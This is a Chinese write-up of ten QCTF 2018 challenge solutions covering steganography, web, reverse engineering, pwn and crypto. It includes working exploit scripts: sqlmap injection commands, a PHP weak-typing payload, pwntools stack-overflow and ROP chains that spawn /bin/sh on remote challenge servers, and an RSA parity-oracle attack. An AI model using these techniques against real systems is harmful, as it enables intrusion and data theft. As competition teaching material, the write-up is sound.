内容简介:QCTF 2018 暨第三届 XMan 夏令营选拔赛比赛入口地址:每个方向选了 2 道题来看,解出 10 道题,排名第 5
前言
QCTF 2018 暨第三届 XMan 夏令营选拔赛
比赛入口地址: http://xman2018.xctf.org.cn/
每个方向选了 2 道题来看,解出 10 道题,排名第 5
膜一下排名第 3 的 Pizza 大佬,RE 一血全部拿下,线下面基大佬长得挺帅的~
题目偏简单,很多大佬都没来玩,毕竟是萌新选拔赛
0x00 Misc - X-man-Keyword
一张图片,上 Stegsolve
,发现图片开头 lsb
里有些东西。
用 lsb 解密脚本 ,可以得到:
PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}
根据题目提示,尝试了一下,发现是 Nihilist 密码
。
写个脚本解密:
import string enc='PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}' grid='LOVEKFC'+'ABDGHIJMNPQRSTUWXY' flag='' for i in enc: if i in string.ascii_lowercase: index=grid.lower().index(i) flag+=string.ascii_lowercase[index] continue if i in string.ascii_uppercase: index=grid.upper().index(i) flag+=string.ascii_uppercase[index] continue flag+=i print flag
Flag: QCTF{cCgeLdnrIBCX9G1g13KFfeLNsnMRdOwf}
0x01 Misc - X-man-A face
一张图片,中间有个残缺的二维码
补全二维码
扫描得到字符串
KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=
Base32 解码得到 Flag
Flag: QCTF{Pretty_Sister_Who_Buys_Me_Lobster}
0x02 Web - Lottery
扫描目录,有 git 泄露,下载源代码,进行代码审计。
在 api.php 第 89 行处找到 弱类型 漏洞。
POC:
{"action":"buy","numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true}}
最终可以得到 Flag
Flag: QCTF{my_PhP_ski1l_is_weeak}
0x03 Web - NewsCenter
网页只有一个搜索框,用来搜索文章。
目测是 sql 注入,直接上 sqlmap
,即可得到 Flag。
POC:
sqlmap -u "http://47.96.118.255:33066/" --forms --dbs sqlmap -u "http://47.96.118.255:33066/" --forms -D news --tables sqlmap -u "http://47.96.118.255:33066/" --forms -D news -T secret_table --dump
Flag: QCTF{sq1_inJec7ion_ezzzzzz}
0x04 Reverse - Xman-babymips
直接上 retdec
反编译得到 C 代码,结合 IDA
分析。
关键函数: function_4009a8
和 function_4007f0
Flag 的长度是 32 位,前 5 位直接异或即可得到。
然后后 27 位,依次分别进行两种运算,然后相同的异或操作,即可得到。
POC:
flag='' prefix='Q|j{g' for i in range(len(prefix)): flag+=chr(ord(prefix[i])^(32-i)) g1=[0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80, 0x13, 0x41, 0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81, 0xDE, 0xFC, 0x95, 0xF0, 0x16, 0x79, 0x1A, 0x15, 0x5B, 0x75, 0x1F] part='' for i in range(len(g1)): match=0 if i%2: for j in range(256): v4 = j / 64 | 0x4000000 * j / 0x1000000 v4 = v4 & 0xff if v4 == g1[i]: match=1 part+=chr(j) break else: for j in range(256): v4 = 64 * j | j / 4 v4 = v4 & 0xff if v4 == g1[i]: match=1 part+=chr(j) break if match==0: print 'err:%d' % i break for i in range(len(part)): flag+=chr(ord(part[i])^(32-i-5)) print flag
Flag: qctf{ReA11y_4_B@89_mlp5_4_XmAn_}
0x05 Reverse - asong
关键函数: sub_400E54
a1
是我们输入的字符串( sub_400C02
做了去除 Flag
格式的处理)。
a2
是根据 that_girl
文件生成的字符数组。
sub_400936
将 a1
按位判断并移位, v5
数组保存的是 a1
在 a2
上的字符映射。
sub_400D33
是一个 S盒置换
的功能。
sub_400DB4
是一个按位异或运算,理论上不可逆。
sub_400CC0
把最终加密后的 Flag
写入到 out
文件(好像 out
文件不存在时才能写入)。
我们需要根据原 out
文件推导 Flag
。
POC:
enc=open('out','rb').read() enc=list(enc[::-1]) for i in range(len(enc)): enc[i]=ord(enc[i]) table=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x1E, 0x0F, 0x1D, 0xA9, 0x13, 0x26, 0x43, 0x3C, 0x00, 0x14, 0x27, 0x1C, 0x76, 0xA5, 0x1A, 0x00, 0x3D, 0x33, 0x85, 0x2D, 0x07, 0x22, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x47, 0x00, 0x00, 0x42, 0xF5, 0x00, 0x00, 0x00, 0x61, 0x00] table_s=[] for i in table: for j in table: if i!=0 and j!=0: w=((8*i)&0xff)|(j>>5) table_s.append(i) table_s.append(j) table_s.append(w) def check(pa,pb,count,pc): if count>len(enc)-1: if pc==pa: return [] return False for j in range(len(table_s)/3): a=table_s[3*j] b=table_s[3*j+1] c=table_s[3*j+2] if enc[count]==c and pa==b: ret=check(a,b,count+1,pc) if ret != False: ret.append(a) return ret return False dec=[] for j in range(len(table_s)/3): a=table_s[3*j] b=table_s[3*j+1] c=table_s[3*j+2] if enc[0]==c: ret=check(a,b,1,b) if ret != False: ret.append(a) dec=ret s_box=[0x16, 0x00, 0x06, 0x02, 0x1E, 0x18, 0x09, 0x01, 0x15, 0x07, 0x12, 0x0A, 0x08, 0x0C, 0x11, 0x17, 0x0D, 0x04, 0x03, 0x0E, 0x13, 0x0B, 0x14, 0x10, 0x0F, 0x05, 0x19, 0x24, 0x1B, 0x1C, 0x1D, 0x25, 0x1F, 0x20, 0x21, 0x1A, 0x22, 0x23] dec_s=[0]*len(dec) for i in range(len(s_box)): dec_s[s_box[i]]=dec[i] flag='' for i in dec_s: index=table.index(i) if index>=10 and index<36: flag+=chr(index+87) continue if index==46: flag+=chr(index+49) print 'QCTF{%s}' % flag
Flag: QCTF{that_girl_saying_no_for_your_vindicate}
0x06 Pwn - Xman-dice_game
分析程序,可以栈溢出修改栈上的 srand
随机数种子,从而控制后面 rand
出来的伪随机数字。
写了两个程序,一个用 C 语言实现生成随机数,一个 POC。
生成随机数:
#include <stdlib.h> int main(){ srand(0x61616161); for(int i=0;i<50;i++){ printf("%d\n",rand()); } return 0; }
POC:
from pwn import * gen=process('./gen_rand') io=remote('47.96.239.28', 9999) #io=process('./dice_game') payload='a'*55+'a'+'a'+'a'*12 io.recvuntil('know your name: ') io.send(payload) for i in range(50): io.recvuntil('Give me the point(1~6): ') point=int(gen.recvline())%6+1 print 'Game %d: %d' % (i+1, point) io.sendline(str(point)) print io.recvline() io.recvuntil('Congrats') io.recvline() print io.recvline()
Flag: QCTF{hav3_4un_w1th_th1s_gam3}
0x07 Pwn - Xman-stack2
分析程序, change number
功能没有限制只能修改数组内的数字,导致可以修改栈上一定区域内任意位置的数据。
hackhere
函数可以直接 getshell
,可是发现远程环境里没有 /bin/bash
。
那么直接找个可写位置,用 scanf
写 /bin/sh
,然后调用 system
。
只需要构造一下 ROP 即可。
POC:
from pwn import * context.log_level = "DEBUG" io=remote('47.96.239.28', 2333) #io=process('./stack2') def addr(num,data): io.sendlineafter('5. exit','3') io.sendlineafter('which number to change:',str(num)) io.sendlineafter('new number:',str(data)) def init(): io.sendlineafter('How many numbers you have:','1') io.sendlineafter('Give me your numbers','1') scanf_func=0x08048480 pop2_addr=0x0804895A int_addr=0x08048A97 bss_addr=0x0804A048 system_func=0x08048450 str_sh='/bin/sh' init() for j in range(len(str_sh)): for i in range(4): addr(0x70+0x14+0x10*j+i,ord(p64(scanf_func)[i])) for i in range(4): addr(0x70+0x18+0x10*j+i,ord(p64(pop2_addr)[i])) for i in range(4): addr(0x70+0x1c+0x10*j+i,ord(p64(int_addr)[i])) for i in range(4): addr(0x70+0x20+0x10*j+i,ord(p64(bss_addr+j)[i])) for i in range(4): addr(0x70+0x14+0x10*len(str_sh)+i,ord(p64(system_func)[i])) for i in range(4): addr(0x70+0x18+0x10*len(str_sh)+i,ord(p64(system_func)[i])) for i in range(4): addr(0x70+0x20+0x10*len(str_sh)+i,ord(p64(bss_addr)[i])) io.sendlineafter('5. exit','5') for j in range(len(str_sh)): io.sendline(str(ord(str_sh[j]))) io.interactive()
Flag: QCTF{H3y_X_w4N}
0x08 Crypto - babyRSA
POC:
from pwn import * context.log_level = 'WARN' def num_to_bytes(n): b = hex(n)[2:].strip('L') b = '0' + b if len(b)%2 == 1 else b return b.decode('hex') e=0x10001 n=0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db c=0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0 upper=n lower=0 k=1 while True: io=remote('47.96.239.28',23333) io.recvuntil('You can input ciphertext(hexdecimal) now\n') power=pow(2,k,n) new_c=(pow(power,e,n)*c)%n new_c=hex(new_c)[2:].strip('L') io.sendline(new_c) data=io.recvline()[:-1] io.close() if data=="even": print 'Round %d: even' % k upper=(upper+lower)/2 if data=="odd": print 'Round %d: odd' % k lower=(upper+lower)/2 if data=="error": break if (upper-lower)<2: break k+=1 flag=num_to_bytes(upper)[:-1]+'}' print flag
Flag: QCTF{RSA_parity_oracle_is_fun}
0x09 Crypto - Xman-RSA
上一年的题目,参考 XMan Day11 Crypto1 WP
POC:
import re adict = {'a':'d', 'd':'e', 'g':'f', 'q':'r', 'h':'o', 'b':'m', 'p':'i', 'k':'p', 'w':'t', 'u':'b', 'r':'a', 't':'s', 'z':'u', 'e':'n', 'x':'c', 'i':'x', 'l':'y', 'j':'g', 'f':'w', 'm':'h', 'y':'l'} def multiple_replace(text, adict): rx = re.compile('|'.join(map(re.escape, adict))) def one_xlat(match): return adict[match.group(0)] return rx.sub(one_xlat, text) r=open('encryption.encrypted','r').read() r=multiple_replace(r, adict) open('decrypted.py','w').write(r) import gmpy2 import base64 def bytes_to_num(b): return int(b.encode('hex'), 16) def num_to_bytes(n): b = hex(n)[2:-1] b = '0' + b if len(b)%2 == 1 else b return b.decode('hex') def separate(n): p = n % 4 t = (p*p) % 4 return t == 1 lines=open('ciphertext','r').readlines() mc1=int(lines[0],16) mc2=int(lines[1],16) lines=open('n1.encrypted','r').readlines() n1c1=int(lines[0],16) n1c2=int(lines[1],16) lines=open('n2&n3','r').readlines() n2=bytes_to_num(base64.b64decode(lines[0])) n3=bytes_to_num(base64.b64decode(lines[1])) e1=0x1001 e2=0x101 gcd,s,t=gmpy2.gcdext(e1,e2) if s<0: s=abs(s) n1c1=gmpy2.invert(n1c1,n3) if t<0: t=abs(t) n1c2=gmpy2.invert(n1c2,n3) n1=gmpy2.powmod(n1c1,s,n3)*gmpy2.powmod(n1c2,t,n3)%n3 p1=gmpy2.gcd(n1,n2) p2=n1/p1 p3=n2/p1 e=0x1001 d1=gmpy2.invert(e,(p1-1)*(p2-1)) d2=gmpy2.invert(e,(p1-1)*(p3-1)) m1=pow(mc1,d1,n1) m2=pow(mc2,d2,n2) msg1=hex(m1)[2:].decode('hex') msg2=hex(m2)[2:].decode('hex') flag='' a1=0 a2=0 for i in range(len(msg1+msg2)): if separate(i): flag+=msg2[a2] a2+=1 else: flag+=msg1[a1] a1+=1 print flag
Flag: XMAN{CRYPT0_I5_50_Interestingvim rsa.py}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 第二届字节跳动夏令营启动全球报名,图灵奖得主授课
- 字节跳动夏令营强势来袭,工程/算法/产品三大赛道等你挑战!
- 第15届谷歌编程夏令营导师机构公布:包括Fedora和Debian
- InForSec2019大学生夏令营日程来啦,我们在东南大学等你哟!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。